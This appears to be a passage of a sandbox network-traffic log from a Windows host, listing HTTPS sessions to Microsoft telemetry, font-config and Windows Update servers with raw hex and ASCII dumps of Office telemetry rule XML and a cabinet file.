2024-11-22 22:06:20 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-22 22:06:20 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49726	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 22:06:20 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=67106 Date: Fri, 22 Nov 2024 22:06:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49721	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KP44xo9Vhz+g544&MD=w5aHBKCo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 22:06:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9cd1c30a-5b32-46bc-8d31-b1c1b9d2ca8e MS-RequestId: 1d47734e-2274-417d-bcde-d019053ee602 MS-CV: dVXaH3rWzkGhaYGP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:06:21 GMT Connection: close Content-Length: 24490
2024-11-22 22:06:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-22 22:06:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 22:06:22 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=67160 Date: Fri, 22 Nov 2024 22:06:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-22 22:06:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220623Z-174c587ffdfdwxdvhC1TEB1c4n00000001w000000000pqga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:23 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220623Z-174c587ffdfmrvb9hC1TEBtn38000000021000000000dhzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220623Z-174c587ffdfldtt2hC1TEBwv9c00000001sg00000000rymk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220623Z-174c587ffdfmlsmvhC1TEBvyks000000023000000000r2f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
